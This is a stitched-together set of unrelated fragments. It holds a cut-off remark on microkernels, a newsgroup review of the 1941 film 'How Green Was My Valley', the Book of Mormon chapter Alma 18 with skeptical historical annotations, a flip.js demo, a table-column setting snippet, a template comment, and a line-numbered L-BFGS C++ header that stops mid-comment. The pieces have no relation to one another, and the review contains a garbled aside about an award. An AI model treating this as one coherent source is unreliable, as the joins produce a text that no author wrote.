necessarily either a matter of modifying the kernel, or else virtualising. The good news is that writing a microkernel that only handles the necessary objects is somewhat lightweight--around 2000 lines. The bad news is that changing kernels is hard. So either we have to steal the mantle of the Hurd project or take up Windows and Mac programming and write just a lightweight VM of some kind. (Which is not as awful as it sounds--this is what a web browser is, after all.) Tricky stuff.


How Green Was My Valley (1941)
Grade: 79
"How Green Was My Valley" was the toast of the 1941 Oscars, winning Best Director (John Ford) and Best Picture. Nominated but losing was "Citizen Kane", demonstrating that values as much as quality determines Academy Award success.
In a Welsh coal-mining town in the late 19th century, the Morgan family is headed by father Donald Crisp, Best Actor) and his wife Sara Allgood (nominated for Best Actress). There's also daughter Maureen O'Hara, four sons who are also coal-miners, and young schoolboy Roddy McDowell.
There is much good about this film. The script is so good that the dialogue sounds like poetry. The plot keeps things moving. Crisp, Allgood, and McDowell are given broad characters and perform flawlessly.
It's not quite an outstanding movie, however. One problem is that the four coal-mining sons are all rugged, manly, and interchangeable. O'Hara is in love with the minister Walter Pidgeon, and their forbidden and platonic romance, complete with long looks and stilted dialogue, damages the film. Also, the miners don't act like you would expect. I can believe that they walk down the streets singing in unison, but they never curse, boast, tell lewd jokes, talk with a harsh accent, lose their temper or otherwise act human.
One interesting casting is the hateful, shrewish minister Cyfartha, played by Barry Fitzgerald. Fitzgerald typically plays cantankerous but lovable Irishmen, so he is being cast against type here.
A surplus of workers causes the mine owners to reduce wages. The miners form a union and strike. This pits Crisp, who opposes unions, against his pro-union sons. As the strike wears on, bitterness by the town's coal-miners against Crisp leads to Allgood and McDowell falling to a frozen lake. They are saved and survive, but McDowell is left unable to walk.
Pidgeon visits the Morgan household to cheer up McDowell and tease O'Hara. With his help, he learns to walk again. Later, the wealthy mine owner's son visits the Morgan family to propose to O'Hara. The family must force her into marriage, since her heart belongs to Pidgeon.
Now fully recovered, McDowell is admitted to an elite school out of town. He is the only coal-mining son, and so is bullied not only by classmates but by the sadistic headmaster. Upon walking home after being bloodied in a fight, McDowell is taught how to box by his family. Now McDowell can outbox the school bullies, winning their respect, but the cruel headmaster has him caned.
Again walking home bloodied, a few of the coal-miners visit the school to confront the headmaster, beating him unconscious in front of his class. Surprisingly, this scene is almost a comedy, and it works.
After graduating, his father wants him to become a doctor or lawyer, but McDowell wants to prove his manhood and demonstrate his respect for the family by becoming a coal-miner. Mother is pleased with this but Crisp is disappointed.
The coal mining sons begin to leave home, as they are downsized by the mine owners. The married son dies in a mining accident, and the others leave the country for better opportunity. O'Hara's marriage fails, and there is gossip that it is because she has liasons with Pidgeon.
There is another accident at the coal mine. Bad luck would have it that it is another Morgan, this time Crisp. Pidgeon and McDowell must go down into the mine to retrieve Crisp, who dies in McDowell's arms.
The director decides not to leave the movie on such a downer, so he adds a gratuitous, tear-jerking scene where the entire Morgan family is seen reunited on a valley.
http://members.tripod.com/~Brian_Koller/movies.html
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


| Book of Mormon |
Annotations |
|
Chapter 18
|
|
|
1 And it came to pass that king Lamoni caused that his
servants should stand forth and testify to all the things which they had seen
concerning the matter.
|
|
|
2 And when they had all testified to the things which they
had seen, and he had learned of the faithfulness of Ammon in preserving his
flocks, and also of his great power in contending against those who sought to
slay him, he was astonished exceedingly, and said: Surely, this is more than
a man. Behold, is not this the Great Spirit who doth send such great
punishments upon this people, because of their murders?
|
|
|
3 And they answered the king, and said: Whether he be the
Great Spirit or a man, we know not; but this much we do know, that he cannot
be slain by the enemies of the king; neither can they scatter the king’s
flocks when he is with us, because of his expertness and great strength;
therefore, we know that he is a friend to the king. And now, O king, we do
not believe that a man has such great power, for we know he cannot be slain.
|
|
|
4 And now, when the king heard these words, he said unto
them: Now I know that it is the Great Spirit; and he has come down at this
time to preserve your lives, that I might not slay you as I did your
brethren. Now this is the Great Spirit of whom our fathers have spoken.
|
|
|
5 Now this was the tradition of Lamoni, which he had
received from his father, that there was a Great Spirit. Notwithstanding
they believed in a Great Spirit, they supposed that whatsoever they did was
right; nevertheless, Lamoni began to fear exceedingly, with fear lest he
had done wrong in slaying his servants;
|
Has there really been a national culture in which “they
suppose that whatsoever they do is right”?
|
|
6 For he had slain many of them because their brethren had
scattered their flocks at the place of water; and thus, because they had had
their flocks scattered they were slain.
|
|
|
7 Now it was the practice of these Lamanites to stand by
the waters of Sebus to scatter the flocks of the people, that thereby they
might drive away many that were scattered unto their own land, it being a
practice of plunder among them.
|
|
|
8 And it came to pass that king Lamoni inquired of his
servants, saying: Where is this man that has such great power?
|
|
|
9 And they said unto him: Behold, he is feeding thy horses.
Now the king had commanded his servants, previous to the time of the watering
of their flocks, that they should prepare his horses and chariots, and
conduct him forth to the land of Nephi; for there had been a great feast
appointed at the land of Nephi, by the father of Lamoni, who was king over
all the land.
|
Alma 18:9-10, 12
There were no horses in the Americas at this time.
Chariots have wheels. There were no wheeled vehicles in the Americas at this
time. (There are some examples of wheeled toys, but absolutely no evidence of
wheeled vehicles, not even pictorially).
|
|
10 Now when king Lamoni heard that Ammon was preparing his
horses and his chariots he was more astonished, because of the
faithfulness of Ammon, saying: Surely there has not been any servant among
all my servants that has been so faithful as this man; for even he doth
remember all my commandments to execute them.
|
Annotation for Alma 18:9-10, 12 above
|
|
11 Now I surely know that this is the Great Spirit, and I
would desire him that he come in unto me, but I durst not.
|
|
|
12 And it came to pass that when Ammon had made ready the
horses and the chariots for the king and his servants, he went in unto
the king, and he saw that the countenance of the king was changed; therefore
he was about to return out of his presence.
|
Annotation for Alma 18:9-10, 12 above
|
|
13 And one of the king’s servants said unto him, Rabbanah,
which is, being interpreted, powerful or great king, considering their kings
to be powerful; and thus he said unto him: Rabbanah, the king desireth thee
to stay.
|
|
|
14 Therefore Ammon turned himself unto the king, and said
unto him: What wilt thou that I should do for thee, O king? And the king
answered him not for the space of an hour, according to their time, for
he knew not what he should say unto him.
|
What does this even mean?
|
|
15 And it came to pass that Ammon said unto him again:
What desirest thou of me? But the king answered him not.
|
|
|
16 And it came to pass that Ammon, being filled with the
Spirit of God, therefore he perceived the thoughts of the king. And he said
unto him: Is it because thou hast heard that I defended thy servants and thy
flocks, and slew seven of their brethren with the sling and with the sword,
and smote off the arms of others, in order to defend thy flocks and thy
servants; behold, is it this that causeth thy marvelings?
|
The only pre-Columbian weapon I can find that was similar
to a sword was the macuahuitl which was made with a plank of wood similar in
shape to a cricket bat with obsidian blades mounted on the edges. It is
similar enough to a sword that it is often referred to as the Aztec sword.
However, the macuahuitl does not seem to fit the Book of
Mormon time frame. “Some groups of Central Mexico, principally in the
transition between the Early and the Late Post-Classic, probably
developed this weapon” (emphasis added, Dr. Marco Antonio Cervera Obregón,
“The macuahuitl: an innovative weapon of the Late Post-Classic in
Mesoamerica”, Arms & Armour, Vol.3, Nov. 2, 2006, p. 146, article from a research journal).
The Post-Classic period is between 900 CE and the Spanish conquest.
|
|
17 I say unto you, what is it, that thy marvelings are so
great? Behold, I am a man, and am thy servant; therefore, whatsoever thou
desirest which is right, that will I do.
|
|
|
18 Now when the king had heard these words, he marveled
again, for he beheld that Ammon could discern his thoughts; but
notwithstanding this, king Lamoni did open his mouth, and said unto him: Who
art thou? Art thou that Great Spirit, who knows all things?
|
|
|
19 Ammon answered and said unto him: I am not.
|
|
|
20 And the king said: How knowest thou the thoughts of my
heart? Thou mayest speak boldly, and tell me concerning these things; and
also tell me by what power ye slew and smote off the arms of my brethren that
scattered my flocks—
|
|
|
21 And now, if thou wilt tell me concerning these things,
whatsoever thou desirest I will give unto thee; and if it were needed, I would
guard thee with my armies; but I know that thou art more powerful than all
they; nevertheless, whatsoever thou desirest of me I will grant it unto thee.
|
|
|
22 Now Ammon being wise, yet harmless, he said unto
Lamoni: Wilt thou hearken unto my words, if I tell thee by what power I do
these things?  And thus he was caught with guile.
|
|
|
24 And Ammon began to speak unto him with boldness, and
said unto him: Believest thou that there is a God?
|
|
|
25 And he answered, and said unto him: I do not know what
that meaneth.
|
|
|
26 And then Ammon said: Believest thou that there is a
Great Spirit?
|
|
|
27 And he said, Yea.
|
|
|
28 And Ammon said: This is God. And Ammon said unto him
again: Believest thou that this Great Spirit, who is God, created all things
which are in heaven and in the earth?
|
|
|
29 And he said: Yea, I believe that he created all things
which are in the earth; but I do not know the heavens.
|
|
|
30 And Ammon said unto him: The heavens is a place where
God dwells and all his holy angels.
|
|
|
31 And king Lamoni said: Is it above the earth?
|
|
|
32 And Ammon said: Yea, and he looketh down upon all the
children of men; and he knows all the thoughts and intents of the heart; for
by his hand were they all created from the beginning.
|
|
|
33 And king Lamoni said: I believe all these things which
thou hast spoken. Art thou sent from God?
|
|
|
34 Ammon said unto him: I am a man; and man in the
beginning was created after the image of God, and I am called by his Holy
Spirit to teach these things unto this people, that they may be brought to a
knowledge of that which is just and true;
|
|
|
35 And a portion of that Spirit dwelleth in me, which
giveth me knowledge, and also power according to my faith and desires which
are in God.
|
|
|
36 Now when Ammon had said these words, he began at the
creation of the world, and also the creation of Adam, and told him all the
things concerning the fall of man, and rehearsed and laid before him the
records and the holy scriptures of the people, which had been spoken by the
prophets, even down to the time that their father, Lehi, left Jerusalem.
|
|
|
37 And he also rehearsed unto them (for it was unto the
king and to his servants) all the journeyings of their fathers in the
wilderness, and all their sufferings with hunger and thirst, and their
travail, and so forth.
|
|
|
38 And he also rehearsed unto them concerning the
rebellions of Laman and Lemuel, and the sons of Ishmael, yea, all their
rebellions did he relate unto them; and he expounded unto them all the
records and scriptures from the time that Lehi left Jerusalem down to the
present time.
|
|
|
39 But this is not all; for he expounded unto them the
plan of redemption, which was prepared from the foundation of the world; and
he also made known unto them concerning the coming of Christ, and all the
works of the Lord did he make known unto them.
|
|
|
40 And it came to pass that after he had said all these
things, and expounded them to the king, that the king believed all his words.
|
|
|
41 And he began to cry unto the Lord, saying: O Lord, have
mercy; according to thy abundant mercy which thou hast had upon the people of
Nephi, have upon me, and my people.
|
|
|
42 And now, when he had said this, he fell unto the earth,
as if he were dead.
|
Alma 18:42-43
King Lamoni is so impressed by the teaching of Ammon that
he passes out for a couple of days.
|
|
43 And it came to pass that his servants took him and
carried him in unto his wife, and laid him upon a bed; and he lay as if he
were dead for the space of two days and two nights; and his wife, and his
sons, and his daughters mourned over him, after the manner of the Lamanites,
greatly lamenting his loss.
|
Annotation for Alma 18:42-43 above
|


flip.js Example
Flip #1
Lorem ipsum dolor sit amet, consectetur adipisicing elit.
Lorem ipsum dolor sit amet, consectetur adipisicing elit.
Flip #2
Could serve as "back side".


Set this to false if you do not want cells in this column to be focusable.
(boolean): Default true.
(boolean)
true
{focusable: false}
Try clicking on the cells in the Focusable Column vs. the Non-Focusable Column.


{% comment %} In order to combine two filters and allow them to work together, one filter shouldn't unhide something the other filter had already hidden. - data-hiddencat: True if the element has been hidden by the category filter - data-hiddensearch: True if the element has been hidden by the search filter {% endcomment %}


1 |
|
|
/** |
2 |
|
|
* @file LbfgsSolver.hpp |
3 |
|
|
* @author Jorge Nocedal |
4 |
|
|
* @license License BSD-3-Clause |
5 |
|
|
* @copyright 1990, Jorge Nocedal |
6 |
|
|
* @copyright 2007-2010 Naoaki Okazaki |
7 |
|
|
* @date 2019-10-06 |
8 |
|
|
* @brief C library of Limited memory BFGS (L-BFGS). |
9 |
|
|
* |
10 |
|
|
* All rights reserved. |
11 |
|
|
* |
12 |
|
|
* Permission is hereby granted, free of charge, to any person obtaining a copy |
13 |
|
|
* of this software and associated documentation files (the "Software"), to deal |
14 |
|
|
* in the Software without restriction, including without limitation the rights |
15 |
|
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell |
16 |
|
|
* copies of the Software, and to permit persons to whom the Software is |
17 |
|
|
* furnished to do so, subject to the following conditions: |
18 |
|
|
* |
19 |
|
|
* The above copyright notice and this permission notice shall be included in |
20 |
|
|
* all copies or substantial portions of the Software. |
21 |
|
|
* |
22 |
|
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR |
23 |
|
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, |
24 |
|
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE |
25 |
|
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER |
26 |
|
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, |
27 |
|
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN |
28 |
|
|
* THE SOFTWARE. |
29 |
|
|
* |
30 |
|
|
*/ |
31 |
|
|
|
32 |
|
|
#pragma once |
33 |
|
|
|
34 |
|
|
#include <iostream> |
35 |
|
|
#include <Eigen/Dense> |
36 |
|
|
#include <solver/interface/NlpDescription.hpp> |
37 |
|
|
|
38 |
|
|
namespace solver { |
39 |
|
|
/** |
40 |
|
|
* Return values of lbfgs(). |
41 |
|
|
* Roughly speaking, a negative value indicates an error. |
42 |
|
|
*/ |
43 |
|
|
enum { |
44 |
|
|
/** L-BFGS reaches convergence. */ |
45 |
|
|
LBFGS_SUCCESS = 0, |
46 |
|
|
LBFGS_STOP, |
47 |
|
|
/** The initial variables already minimize the objective function. */ |
48 |
|
|
LBFGS_ALREADY_MINIMIZED, |
49 |
|
|
/** Unknown error. */ |
50 |
|
|
LBFGSERR_UNKNOWNERROR = -1024, |
51 |
|
|
/** Logic error. */ |
52 |
|
|
LBFGSERR_LOGICERROR, |
53 |
|
|
/** Insufficient memory. */ |
54 |
|
|
LBFGSERR_OUTOFMEMORY, |
55 |
|
|
/** Invalid number of variables specified. */ |
56 |
|
|
LBFGSERR_INVALID_N, |
57 |
|
|
/** Invalid parameter lbfgs_parameter_t::epsilon specified. */ |
58 |
|
|
LBFGSERR_INVALID_EPSILON, |
59 |
|
|
/** Invalid parameter lbfgs_parameter_t::past specified. */ |
60 |
|
|
LBFGSERR_INVALID_TESTPERIOD, |
61 |
|
|
/** Invalid parameter lbfgs_parameter_t::delta specified. */ |
62 |
|
|
LBFGSERR_INVALID_DELTA, |
63 |
|
|
/** Invalid parameter lbfgs_parameter_t::linesearch specified. */ |
64 |
|
|
LBFGSERR_INVALID_LINESEARCH, |
65 |
|
|
/** Invalid parameter lbfgs_parameter_t::max_step specified. */ |
66 |
|
|
LBFGSERR_INVALID_MINSTEP, |
67 |
|
|
/** Invalid parameter lbfgs_parameter_t::max_step specified. */ |
68 |
|
|
LBFGSERR_INVALID_MAXSTEP, |
69 |
|
|
/** Invalid parameter lbfgs_parameter_t::ftol specified. */ |
70 |
|
|
LBFGSERR_INVALID_FTOL, |
71 |
|
|
/** Invalid parameter lbfgs_parameter_t::wolfe specified. */ |
72 |
|
|
LBFGSERR_INVALID_WOLFE, |
73 |
|
|
/** Invalid parameter lbfgs_parameter_t::gtol specified. */ |
74 |
|
|
LBFGSERR_INVALID_GTOL, |
75 |
|
|
/** Invalid parameter lbfgs_parameter_t::xtol specified. */ |
76 |
|
|
LBFGSERR_INVALID_XTOL, |
77 |
|
|
/** Invalid parameter lbfgs_parameter_t::max_linesearch specified. */ |
78 |
|
|
LBFGSERR_INVALID_MAXLINESEARCH, |
79 |
|
|
/** Invalid parameter lbfgs_parameter_t::orthantwise_c specified. */ |
80 |
|
|
LBFGSERR_INVALID_ORTHANTWISE, |
81 |
|
|
/** Invalid parameter lbfgs_parameter_t::orthantwise_start specified. */ |
82 |
|
|
LBFGSERR_INVALID_ORTHANTWISE_START, |
83 |
|
|
/** Invalid parameter lbfgs_parameter_t::orthantwise_end specified. */ |
84 |
|
|
LBFGSERR_INVALID_ORTHANTWISE_END, |
85 |
|
|
/** The line-search step went out of the interval of uncertainty. */ |
86 |
|
|
LBFGSERR_OUTOFINTERVAL, |
87 |
|
|
/** A logic error occurred; alternatively, the interval of uncertainty became too small. */ |
88 |
|
|
LBFGSERR_INCORRECT_TMINMAX, |
89 |
|
|
/** A rounding error occurred; alternatively, no line-search step |
90 |
|
|
satisfies the sufficient decrease and curvature conditions. */ |
91 |
|
|
LBFGSERR_ROUNDING_ERROR, |
92 |
|
|
/** The line-search step became smaller than lbfgs_parameter_t::min_step. */ |
93 |
|
|
LBFGSERR_MINIMUMSTEP, |
94 |
|
|
/** The line-search step became larger than lbfgs_parameter_t::max_step. */ |
95 |
|
|
LBFGSERR_MAXIMUMSTEP, |
96 |
|
|
/** The line-search routine reaches the maximum number of evaluations. */ |
97 |
|
|
LBFGSERR_MAXIMUMLINESEARCH, |
98 |
|
|
/** The algorithm routine reaches the maximum number of iterations. */ |
99 |
|
|
LBFGSERR_MAXIMUMITERATION, |
100 |
|
|
/** Relative width of the interval of uncertainty is at most lbfgs_parameter_t::xtol. */ |
101 |
|
|
LBFGSERR_WIDTHTOOSMALL, |
102 |
|
|
/** A logic error (negative line-search step) occurred. */ |
103 |
|
|
LBFGSERR_INVALIDPARAMETERS, |
104 |
|
|
/** The current search direction increases the objective function value. */ |
105 |
|
|
LBFGSERR_INCREASEGRADIENT, |
106 |
|
|
}; |
107 |
|
|
|
108 |
|
|
/** |
109 |
|
|
* Line search algorithms. |
110 |
|
|
*/ |
111 |
|
|
enum { |
112 |
|
|
/** The default algorithm (MoreThuente method). */ |
113 |
|
|
LBFGS_LINESEARCH_DEFAULT = 0, |
114 |
|
|
/** MoreThuente method proposd by More and Thuente. */ |
115 |
|
|
LBFGS_LINESEARCH_MORETHUENTE = 0, |
116 |
|
|
/** |
117 |
|
|
* Backtracking method with the Armijo condition. |
118 |
|
|
* The backtracking method finds the step length such that it satisfies |
119 |
|
|
* the sufficient decrease (Armijo) condition, |
120 |
|
|
* - f(x + a * d) <= f(x) + lbfgs_parameter_t::ftol * a * g(x)^T d, |
121 |
|
|
* |
122 |
|
|
* where x is the current point, d is the current search direction, and |
123 |
|
|
* a is the step length. |
124 |
|
|
*/ |
125 |
|
|
LBFGS_LINESEARCH_BACKTRACKING_ARMIJO = 1, |
126 |
|
|
/** The backtracking method with the defualt (regular Wolfe) condition. */ |
127 |
|
|
LBFGS_LINESEARCH_BACKTRACKING = 2, |
128 |
|
|
/** |
129 |
|
|
* Backtracking method with regular Wolfe condition. |
130 |
|
|
* The backtracking method finds the step length such that it satisfies |
131 |
|
|
* both the Armijo condition (LBFGS_LINESEARCH_BACKTRACKING_ARMIJO) |
132 |
|
|
* and the curvature condition, |
133 |
|
|
* - g(x + a * d)^T d >= lbfgs_parameter_t::wolfe * g(x)^T d, |
134 |
|
|
* |
135 |
|
|
* where x is the current point, d is the current search direction, and |
136 |
|
|
* a is the step length. |
137 |
|
|
*/ |
138 |
|
|
LBFGS_LINESEARCH_BACKTRACKING_WOLFE = 2, |
139 |
|
|
/** |
140 |
|
|
* Backtracking method with strong Wolfe condition. |
141 |
|
|
* The backtracking method finds the step length such that it satisfies |
142 |
|
|
* both the Armijo condition (LBFGS_LINESEARCH_BACKTRACKING_ARMIJO) |
143 |
|
|
* and the following condition, |
144 |
|
|
* - |g(x + a * d)^T d| <= lbfgs_parameter_t::wolfe * |g(x)^T d|, |
145 |
|
|
* |
146 |
|
|
* where x is the current point, d is the current search direction, and |
147 |
|
|
* a is the step length. |
148 |
|
|
*/ |
149 |
|
|
LBFGS_LINESEARCH_BACKTRACKING_STRONG_WOLFE = 3, |
150 |
|
|
}; |
151 |
|
|
|
152 |
|
|
/** |
153 |
|
|
* L-BFGS optimization parameters. |
154 |
|
|
* Call lbfgs_parameter_init() function to initialize parameters to the |
155 |
|
|
* default values. |
156 |
|
|
*/ |
157 |
|
|
typedef struct { |
158 |
|
|
/** |
159 |
|
|
* The number of corrections to approximate the inverse hessian matrix. |
160 |
|
|
* The L-BFGS routine stores the computation results of previous \ref m |
161 |
|
|
* iterations to approximate the inverse hessian matrix of the current |
162 |
|
|
* iteration. This parameter controls the size of the limited memories |
163 |
|
|
* (corrections). The default value is \c 6. Values less than \c 3 are |
164 |
|
|
* not recommended. Large values will result in excessive computing time. |
165 |
|
|
*/ |
166 |
|
|
int m; |
167 |
|
|
|
168 |
|
|
/** |
169 |
|
|
* Epsilon for convergence test. |
170 |
|
|
* This parameter determines the accuracy with which the solution is to |
171 |
|
|
* be found. A minimization terminates when |
172 |
|
|
* ||g|| < \ref epsilon * max(1, ||x||), |
173 |
|
|
* where ||.|| denotes the Euclidean (L2) norm. The default value is |
174 |
|
|
* \c 1e-5. |
175 |
|
|
*/ |
176 |
|
|
double epsilon; |
177 |
|
|
|
178 |
|
|
/** |
179 |
|
|
* Distance for delta-based convergence test. |
180 |
|
|
* This parameter determines the distance, in iterations, to compute |
181 |
|
|
* the rate of decrease of the objective function. If the value of this |
182 |
|
|
* parameter is zero, the library does not perform the delta-based |
183 |
|
|
* convergence test. The default value is \c 0. |
184 |
|
|
*/ |
185 |
|
|
int past; |
186 |
|
|
|
187 |
|
|
/** |
188 |
|
|
* Delta for convergence test. |
189 |
|
|
* This parameter determines the minimum rate of decrease of the |
190 |
|
|
* objective function. The library stops iterations when the |
191 |
|
|
* following condition is met: |
192 |
|
|
* (f' - f) / f < \ref delta, |
193 |
|
|
* where f' is the objective value of \ref past iterations ago, and f is |
194 |
|
|
* the objective value of the current iteration. |
195 |
|
|
* The default value is \c 0. |
196 |
|
|
*/ |
197 |
|
|
double delta; |
198 |
|
|
|
199 |
|
|
/** |
200 |
|
|
* The maximum number of iterations. |
201 |
|
|
* The lbfgs() function terminates an optimization process with |
202 |
|
|
* ::LBFGSERR_MAXIMUMITERATION status code when the iteration count |
203 |
|
|
* exceedes this parameter. Setting this parameter to zero continues an |
204 |
|
|
* optimization process until a convergence or error. The default value |
205 |
|
|
* is \c 0. |
206 |
|
|
*/ |
207 |
|
|
int max_iterations; |
208 |
|
|
|
209 |
|
|
/** |
210 |
|
|
* The line search algorithm. |
211 |
|
|
* This parameter specifies a line search algorithm to be used by the |
212 |
|
|
* L-BFGS routine. |
213 |
|
|
*/ |
214 |
|
|
int linesearch; |
215 |
|
|
|
216 |
|
|
/** |
217 |
|
|
* The maximum number of trials for the line search. |
218 |
|
|
* This parameter controls the number of function and gradients evaluations |
219 |
|
|
* per iteration for the line search routine. The default value is \c 20. |
220 |
|
|
*/ |
221 |
|
|
int max_linesearch; |
222 |
|
|
|
223 |
|
|
/** |
224 |
|
|
* The minimum step of the line search routine. |
225 |
|
|
* The default value is \c 1e-20. This value need not be modified unless |
226 |
|
|
* the exponents are too large for the machine being used, or unless the |
227 |
|
|
* problem is extremely badly scaled (in which case the exponents should |
228 |
|
|
* be increased). |
229 |
|
|
*/ |
230 |
|
|
double min_step; |
231 |
|
|
|
232 |
|
|
/** |
233 |
|
|
* The maximum step of the line search. |
234 |
|
|
* The default value is \c 1e+20. This value need not be modified unless |
235 |
|
|
* the exponents are too large for the machine being used, or unless the |
236 |
|
|
* problem is extremely badly scaled (in which case the exponents should |
237 |
|
|
* be increased). |
238 |
|
|
*/ |
239 |
|
|
double max_step; |
240 |
|
|
|
241 |
|
|
/** |
242 |
|
|
* A parameter to control the accuracy of the line search routine. |
243 |
|
|
* The default value is \c 1e-4. This parameter should be greater |
244 |
|
|
* than zero and smaller than \c 0.5. |
245 |
|
|
*/ |
246 |
|
|
double ftol; |
247 |
|
|
|
248 |
|
|
/** |
249 |
|
|
* A coefficient for the Wolfe condition. |
250 |
|
|
* This parameter is valid only when the backtracking line-search |
251 |
|
|
* algorithm is used with the Wolfe condition, |
252 |
|
|
* ::LBFGS_LINESEARCH_BACKTRACKING_STRONG_WOLFE or |
253 |
|
|
* ::LBFGS_LINESEARCH_BACKTRACKING_WOLFE . |
254 |
|
|
* The default value is \c 0.9. This parameter should be greater |
255 |
|
|
* the \ref ftol parameter and smaller than \c 1.0. |
256 |
|
|
*/ |
257 |
|
|
double wolfe; |
258 |
|
|
|
259 |
|
|
/** |
260 |
|
|
* A parameter to control the accuracy of the line search routine. |
261 |
|
|
* The default value is \c 0.9. If the function and gradient |
262 |
|
|
* evaluations are inexpensive with respect to the cost of the |
263 |
|
|
* iteration (which is sometimes the case when solving very large |
264 |
|
|
* problems) it may be advantageous to set this parameter to a small |
265 |
|
|
* value. A typical small value is \c 0.1. This parameter shuold be |
266 |
|
|
* greater than the \ref ftol parameter (\c 1e-4) and smaller than |
267 |
|
|
* \c 1.0. |
268 |
|
|
*/ |
269 |
|
|
double gtol; |
270 |
|
|
|
271 |
|
|
/** |
272 |
|
|
* The machine precision for floating-point values. |
273 |
|
|
* This parameter must be a positive value set by a client program to |
274 |
|
|
* estimate the machine precision. The line search routine will terminate |
275 |
|
|
* with the status code (::LBFGSERR_ROUNDING_ERROR) if the relative width |
276 |
|
|
* of the interval of uncertainty is less than this parameter. |
277 |
|
|
*/ |
278 |
|
|
double xtol; |
279 |
|
|
} lbfgs_parameter_t; |
280 |
|
|
|
281 |
|
|
|
282 |
|
|
/** |
283 |
|
|
* Callback interface to provide objective function and gradient evaluations. |
284 |
|
|
* |
285 |
|
|
* The lbfgs() function call this function to obtain the values of objective |
286 |
|
|
* function and its gradients when needed. A client program must implement |
287 |
|
|
* this function to evaluate the values of the objective function and its |
288 |
|
|
* gradients, given current values of variables. |
289 |
|
|
* |
290 |
|
|
* @param instance The user data sent for lbfgs() function by the client. |
291 |
|
|
* @param x The current values of variables. |
292 |
|
|
* @param g The gradient vector. The callback function must compute |
293 |
|
|
* the gradient values for the current variables. |
294 |
|
|
* @param n The number of variables. |
295 |
|
|
* @param step The current step of the line search routine. |
296 |
|
|
* @retval double The value of the objective function for the current |
297 |
|
|
* variables. |
298 |
|
|
*/ |
299 |
|
|
typedef double (*lbfgs_evaluate_t)(void *instance, const double *x, |
300 |
|
|
double *g, const int n, const double step); |
301 |
|
|
|
302 |
|
|
/** |
303 |
|
|
* Callback interface to receive the progress of the optimization process. |
304 |
|
|
* |
305 |
|
|
* The lbfgs() function call this function for each iteration. Implementing |
306 |
|
|
* this function, a client program can store or display the current progress |
307 |
|
|
* of the optimization process. |
308 |
|
|
* |
309 |
|
|
* @param instance The user data sent for lbfgs() function by the client. |
310 |
|
|
* @param x The current values of variables. |
311 |
|
|
* @param g The current gradient values of variables. |
312 |
|
|
* @param fx The current value of the objective function. |
313 |
|
|
* @param xnorm The Euclidean norm of the variables. |
314 |
|
|
* @param gnorm The Euclidean norm of the gradients. |
315 |
|
|
* @param step The line-search step used for this iteration. |
316 |
|
|
* @param n The number of variables. |
317 |
|
|
* @param k The iteration count. |
318 |
|
|
* @param ls The number of evaluations called for this iteration. |
319 |
|
|
* @retval int Zero to continue the optimization process. Returning a |
320 |
|
|
* non-zero value will cancel the optimization process. |
321 |
|
|
*/ |
322 |
|
|
typedef int (*lbfgs_progress_t)(void *instance, const double *x, |
323 |
|
|
const double *g, const double fx, const double xnorm, |
324 |
|
|
const double gnorm, const double step, int n, int k, int ls); |
325 |
|
|
|
326 |
|
|
/* |
327 |
|
|
A user must implement a function compatible with ::lbfgs_evaluate_t (evaluation |
328 |
|
|
callback) and pass the pointer to the callback function to lbfgs() arguments. |
329 |
|
|
Similarly, a user can implement a function compatible with ::lbfgs_progress_t |
330 |
|
|
(progress callback) to obtain the current progress (e.g., variables, function |
331 |
|
|
value, ||G||, etc) and to cancel the iteration process if necessary. |
332 |
|
|
Implementation of a progress callback is optional: a user can pass \c NULL if |
333 |
|
|
progress notification is not necessary. |
334 |
|
|
|
335 |
|
|
In addition, a user must preserve two requirements: |
336 |
|
|
- The number of variables must be multiples of 16 (this is not 4). |
337 |
|
|
- The memory block of variable array ::x must be aligned to 16. |
338 |
|
|
|
339 |
|
|
This algorithm terminates an optimization |
340 |
|
|
when: |
341 |
|
|
|
342 |
|
|
||G|| < \epsilon \cdot \max(1, ||x||) . |
343 |
|
|
|
344 |
|
|
In this formula, ||.|| denotes the Euclidean norm. |
345 |
|
|
*/ |
346 |
|
|
|
347 |
|
|
/** |
348 |
|
|
* Start a L-BFGS optimization. |
349 |
|
|
* |
350 |
|
|
* @param n The number of variables. |
351 |
|
|
* @param x The array of variables. A client program can set |
352 |
|
|
* default values for the optimization and receive the |
353 |
|
|
* optimization result through this array. This array |
354 |
|
|
* must be allocated by ::lbfgs_malloc function |
355 |
|
|
* for libLBFGS built with SSE/SSE2 optimization routine |
356 |
|
|
* enabled. The library built without SSE/SSE2 |
357 |
|
|
* optimization does not have such a requirement. |
358 |
|
|
* @param ptr_fx The pointer to the variable that receives the final |
359 |
|
|
* value of the objective function for the variables. |
360 |
|
|
* This argument can be set to \c NULL if the final |
361 |
|
|
* value of the objective function is unnecessary. |
362 |
|
|
* @param proc_evaluate The callback function to provide function and |
363 |
|
|
* gradient evaluations given a current values of |
364 |
|
|
* variables. A client program must implement a |
365 |
|
|
* callback function compatible with \ref |
366 |
|
|
* lbfgs_evaluate_t and pass the pointer to the |
367 |
|
|
* callback function. |
368 |
|
|
* @param proc_progress The callback function to receive the progress |
369 |
|
|
* (the number of iterations, the current value of |
370 |
|
|
* the objective function) of the minimization |
371 |
|
|
* process. This argument can be set to \c NULL if |
372 |
|
|
* a progress report is unnecessary. |
373 |
|
|
* @param instance A user data for the client program. The callback |
374 |
|
|
* functions will receive the value of this argument. |
375 |
|
|
* @param param The pointer to a structure representing parameters for |
376 |
|
|
* L-BFGS optimization. A client program can set this |
377 |
|
|
* parameter to \c NULL to use the default parameters. |
378 |
|
|
* Call lbfgs_parameter_init() function to fill a |
